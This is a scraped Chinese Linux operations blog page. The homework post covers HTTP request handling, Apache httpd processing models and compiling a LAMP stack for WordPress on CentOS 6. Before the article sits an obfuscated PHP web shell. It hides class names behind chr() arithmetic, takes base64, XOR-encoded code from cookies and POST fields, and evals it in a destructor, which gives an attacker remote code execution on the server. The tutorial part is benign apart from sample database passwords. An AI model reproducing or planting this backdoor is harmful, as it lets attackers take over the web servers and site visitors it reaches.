$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} 马哥教育网络21期+第十二周练习博客上 | Linux运维部落

马哥教育网络21期+第十二周练习博客上

1、请描述一次完整的http请求处理过程;
(1)建立或处理连接:接受请求或拒绝请求
(2)如果接受请求:
    并发访问响应模型:
        单进程I/O结构:启动一个进程处理用户请求,而且一次只处理一个,多个请求被串行响应;
        多进程I/O结构:并行启动多个进程,每个进程响应一个请求;
        复用I/O结构:一个进程生成N个线程,每个线程响应一个用户请求;
(3)处理请求:对请求的报文进行解析,并获取请求的资源及请求方法等相关信息;
(4)访问资源:获取请求报文中请求的资源;
(5)构建响应报文
(6)发送响应报文
(7)记录日志

2、httpd所支持的处理模型有哪些,他们的分别使用于哪些环境。
httpd所支持的处理模型有:prefork,worker,event
prefork:多进程模型,每个进程响应一个请求;
    一个主进程:负责生成n个子进程,子进程也称为工作进程,每个子进程处理一个用户请求,即便没有用户请求,也会预先生成多个空闲进程,等待客户请求(最大不超过1024个)
wokrer:多线程模型:,每个线程响应一个请求;一个主进程生成多个子进程,每个子进程负责生多个线程,每个线程响应一个请求
event:事件驱动模型,每个线程响应n个请求,一个主进程,生成m个子进程,每个进程直接n个请求
httpd-2.2:event为测试使用
httpd-2.4:event可生产中使用
3、源码编译安装LAMP环境(基于wordpress程序),并写出详细的安装、配置、测试过程。
 LAMP编译安装 #
LAMP编译安装,目前CentOS7操作系统上可以使用yum进行安装,在CentOS6上需要编译安装
CentOS6 http-2.2主要安装的,编译安装LAMP需要http-2.4进行编译安装
    linux上需要准备编译安装的环境:
    包组(CentOS 6):
    Server Platform Development
    Development Tools
http-2.4需要较新版本的apr和apr-util
1,编译安装apr
需要下载:apr-1.5.2 (1).tar.bz2,apr-util-1.5.4.tar.bz2

~]# tar xf apr-1.5.2\ \(1\).tar.bz2 
~]# cd apr-1.5.2
]# ./configure --prefix=/usr/local/apr
]# make && make install
编译安装apr-util-1.5.4.tar.bz2
]# tar xf apr-util-1.5.4.tar.bz2
]# cd apr-util-1.5.4
]# ./configure --prefix=/usr/local/apr-util --with-apr=/usr/local/apr(告知程序依据那个apr进行编译安装)
]# make && make install
好了这里就安装好了apr和apr-util了

安装http-2.4
1,httpd-2.4编译安装需要依赖pcre-devel软件包,使用yum install进行安装
]# tar xf httpd-2.4.23.tar.bz2 
]# cd httpd-2.4.23
]# ./configure --prefix=/usr/local/apache(程序安装路径) --sysconfdir=/etc/httpd24(程序配置文件) --enable-so --enable-ssl --enable-cgi --enable-rewrite --with-zlib --with-pcre --with-apr=/usr/local/apr --with-apr-util=/usr/local/apr-util --enable-modules=most --enable-mpms-shared=all --with-mpm=event
]# make && make install
配置服务类脚本
]# cd /etc/rc.d/init.d/
]# cp httpd httpd24
编辑httpd24的配置文件修改文件路径
apachectl=/usr/local/apache/bin/apachectl
httpd=${HTTPD-/usr/local/apache/bin/httpd}
prog=httpd
pidfile=${PIDFILE-/var/run/httpd/httpd24.pid}
lockfile=${LOCKFILE-/var/lock/subsys/httpd24}
将服务加入
]# chkconfig --add httpd24
]# chkconfig --list httpd24
httpd24         0:off   1:off   2:off   3:off   4:off   5:off   6:off
将httpd命令定义到新的httpd24下
]# . /etc/profile.d/httpd.sh 
]# cat /etc/profile.d/httpd.sh
export PATH=/usr/local/apache/bin:$PATH
重读配置文件
]# . /etc/profile.d/httpd.sh
]# hash
hits    command
 1  /usr/local/apache/bin/httpd


编译安装mariadb
先将下载好的软件包进行解压缩
]# tar xf mariadb-5.5.32-linux-x86_64.tar.gz 
]# cp mariadb-5.5.32-linux-x86_64 /usr/local/ -a
创建连接为mysql
]# ln -sv mariadb-5.5.32-linux-x86_64/ mysql
创建属组:]# groupadd -r -g 306 mysql
创建用户:]# useradd -r -g 306 -u 306 mysql
修改此文件中的属主为root,属组为mysql
]# chown root:mysql ./*
新建磁盘分区用于数据库的使用
这里使用的逻辑磁盘分区的方法
使用fdisk /dev/sda 创建一个20G的磁盘空间
使用t将磁盘修改类型为8e
先建立pv
]# pvcreate /dev/sda3
Physical volume "/dev/sda3" successfully created
建立vg
]# vgs
VG       #PV #LV #SN Attr   VSize  VFree
VolGroup   1   3   0 wz--n- 59.99g    0 
[root@localhost mysql]# vgcreate myvg /dev/sda3 
Volume group "myvg" successfully created
创建lv
]# lvcreate -L 10G -n mydata myvg
Logical volume "mydata" created.
这里使用xfs文件系统
先使用yum install xfsprogs
加载模块文件
]# modprobe xfs
]# modinfo xfs
filename:       /lib/modules/2.6.32-642.4.2.el6.x86_64/kernel/fs/xfs/xfs.ko
license:        GPL
description:    SGI XFS with ACLs, security attributes, large block/inode numbers, no debug enabled
author:         Silicon Graphics, Inc.
srcversion:     67725EF8353DC29370566C8
depends:        exportfs
vermagic:       2.6.32-642.4.2.el6.x86_64 SMP mod_unload modversions 
对磁盘进行格式化
]# mkfs.xfs /dev/myvg/mydata 
meta-data=/dev/myvg/mydata       isize=256    agcount=4, agsize=655360 blks
         =                       sectsz=512   attr=2, projid32bit=0
data     =                       bsize=4096   blocks=2621440, imaxpct=25
         =                       sunit=0      swidth=0 blks
naming   =version 2              bsize=4096   ascii-ci=0
log      =internal log           bsize=4096   blocks=2560, version=2
         =                       sectsz=512   sunit=0 blks, lazy-count=1
realtime =none                   extsz=4096   blocks=0, rtextents=0

编辑/etc/fstab文件是其开启自动挂载文件
/dev/myvg/mydata        /mydata                 xfs     defaults        0 0
新建一个目录用户存放mydata数据
查看需要编译安装的配置文件
[root@localhost mysql]# scripts/mysql_install_db --help
]# scripts/mysql_install_db --user=mysql(指定用户) --datadir=/mydata/data/(初始化数据放入到那个文件夹)
启动mysql需要使用一个服务脚本
[root@localhost support-files]# ls
binary-configure   magic                   my-medium.cnf        mysql.server
config.huge.ini    my-huge.cnf             my-small.cnf         ndb-config-2-node.ini
config.medium.ini  my-innodb-heavy-4G.cnf  mysqld_multi.server  SELinux
config.small.ini   my-large.cnf            mysql-log-rotate     solaris
]# cp mysql.server /etc/rc.d/init.d/mysqld
将服务加入到chkconfig 
[root@localhost support-files]# chkconfig --add mysqld
[root@localhost support-files]# chkconfig --list mysqld
mysqld          0:off   1:off   2:on    3:on    4:on    5:on    6:off

配置文件查找次序:
/etc/my.cnf --> /etc/mysql/my.cnf --> --default-extra-file=/PATH/TO/CONF_FILE --> ~/.my.cnf

这里如果需要将mysql命令加入到bash变量中永久有效有2中方法
在/etc/profile的export下面加入一行
export PATH=/usr/local/mysql/bin:$PATH
使用source /etc/profile
如需要对个人生效
在~/.bash_profile中加入
export PATH=/usr/local/mysql/bin:$PATH
source ~/.bash_profile

这里在mysql第一次运作时需要对用户权限等进行一次修改
mysql_secure_installation:安全初始化
初始化完成之后
[root@localhost ~]# mysql -uroot -p
Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 11
Server version: 5.5.32-MariaDB-log MariaDB Server

Copyright (c) 2000, 2013, Oracle, Monty Program Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> user mysql
    -> ;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'user mysql' at line 1
MariaDB [(none)]> 
MariaDB [(none)]> 
MariaDB [(none)]> 
MariaDB [(none)]> use mysql;
Database changed
MariaDB [mysql]> SELECT User,Host,Password FROM user;
+------+-----------------------+-------------------------------------------+
| User | Host                  | Password                                  |
+------+-----------------------+-------------------------------------------+
| root | localhost             | *17C5214AB2227D33B7976A03E25B9D7AD58913AD |
| root | localhost.localdomain | *17C5214AB2227D33B7976A03E25B9D7AD58913AD |
| root | 127.0.0.1             | *17C5214AB2227D33B7976A03E25B9D7AD58913AD |
| root | ::1                   | *17C5214AB2227D33B7976A03E25B9D7AD58913AD |
+------+-----------------------+-------------------------------------------+
4 rows in set (0.00 sec)


编译安装PHP
将下载好的php软件包进行解压缩
]# tar xf php-5.5.38.tar.bz2 
]# cd php-5.5.38
解决好软件依赖关系
请配置好yum源(系统安装源及epel源)后执行如下命令:
]# yum -y groupinstall "Desktop Platform Development" 
]# yum -y install bzip2-devel libmcrypt-devel libxml2-devel
然后进行编译安装
]# ./configure --prefix=/usr/local/php --with-mysql=/usr/local/mysql --with-openssl --with-mysqli=/usr/local/mysql/bin/mysql_config --enable-mbstring --with-freetype-dir --with-jpeg-dir --with-png-dir --with-zlib --with-libxml-dir=/usr --enable-xml  --enable-sockets --with-apxs2=/usr/local/apache/bin/apxs (将php编译为http模块)--with-mcrypt
(加解密库)  --with-config-file-path=/etc --with-config-file-scan-dir=/etc/php.d --with-bz2  --enable-maintainer-zts(支持apache work或event功能)
这里等待编译完成,这里要记住httpd默认是不支持php模块的,需要在httpd的文件中加入
    AddType application/x-httpd-php  .php
     AddType application/x-httpd-php-source  .phps
定位至DirectoryIndex index.html 
修改为:
DirectoryIndex  index.php  index.html

查看http配置文件发现模块文件有
LoadModule php5_module        modules/libphp5.so
找到AddType加入上诉语句
为php提供配置文件
]# cp php.ini-production /etc/php.ini
我的测试文件为:
]# cat  index.php 
<?php
 $counn=mysql_connect('127.0.0.1','root','Pa$$w0rd01!');
  if($counn)
   echo "OK";
  else
   echo "NOT OK";
  mysql_close();
  phpinfo();
?>

建立数据库:  
建立用户名和登录地址与密码
> GRANT ALL ON wpdb.* TO 'wpuser'@'172.16.0.44' IDENTIFIED BY 'wppasswd';
建立数据库:
> CREATE DATABASE wpdb;

原创文章,作者:wostop,如若转载,请注明出处:http://www.178linux.com/51799

(0)
上一篇 2016-10-17 08:36
下一篇 2016-10-17 08:36

相关推荐

  • 源码编译安装Apache

    编译安装Apache 系统环境:centos 7.2 前提: 提供开发工具及开发环境 开发工具:make, gcc等 开发环境:开发库,头文件 glibc:标准库 方式: 通过“包组”提供开发组件 centos 6 [root@centos6 ~]# yum groupinstall "Develo…

    Linux干货 2016-08-24
  • grep与正则表达式

    一、grep        grep常用于文本搜索。通过自定义的模式(pattern),筛选出使用者需要的文本内容。除了有grep,还有egrep和fgrep。其中egrep = grep  –E,而fgrep则是不支持正则表达式。     &nbs…

    2017-07-29
  • 文件的权限小结

    主要是setfacl 和chown的总结

    Linux干货 2017-11-27
  • N25期–第十五周作业

    1、 总结sed和awk的详细用法; 2、删除/boot/grub/grub.conf文件中所有行的行首的空白字符; # sed ‘s@^[[:space:]]\+@@’ /boot/grub/grub.conf 3、删除/etc/fstab文件中所有以#开头,后跟至少一个空白字符的行的行首的#和空白字符; # sed ‘s@^#[[:space:]]*@@…

    Linux干货 2017-05-08
  • 文件的权限管理

    提问:可执行文件的标准格式是什么?     Linux下面,目标文件、共享对象文件、可执行文件都是使用ELF文件格式来存储的。程序经过编译之后会输出目标文件,然后经过链接可以产生可执行文件或者共享对象文件。Linux下面使用的ELF文件和Windows操作系统使用的PE文件都是从Unix系统的COFF文件格式演化来的。…

    Linux干货 2016-11-23
  • lvm逻辑卷 练习题

    创建一个至少有两个PV组成的大小为20G的名为testvg的VG;要求PE大小为16MB, 而后在卷组中创建大小为5G的逻辑卷testlv;挂载至/users目录;在/users下创建一个test.txt文件。扩展testlv至7G,要求archlinux用户的文件不能丢失;收缩testlv至3G,要求archlinux用户的文件不能丢失;对testlv创建…

    Linux干货 2017-03-16

评论列表(1条)

  • 马哥教育
    马哥教育 2016-10-24 22:55

    请认真对待每一次作业中要求的细节,因为它很可能就是你工作中遗漏且真正让你无法找到正解真正原因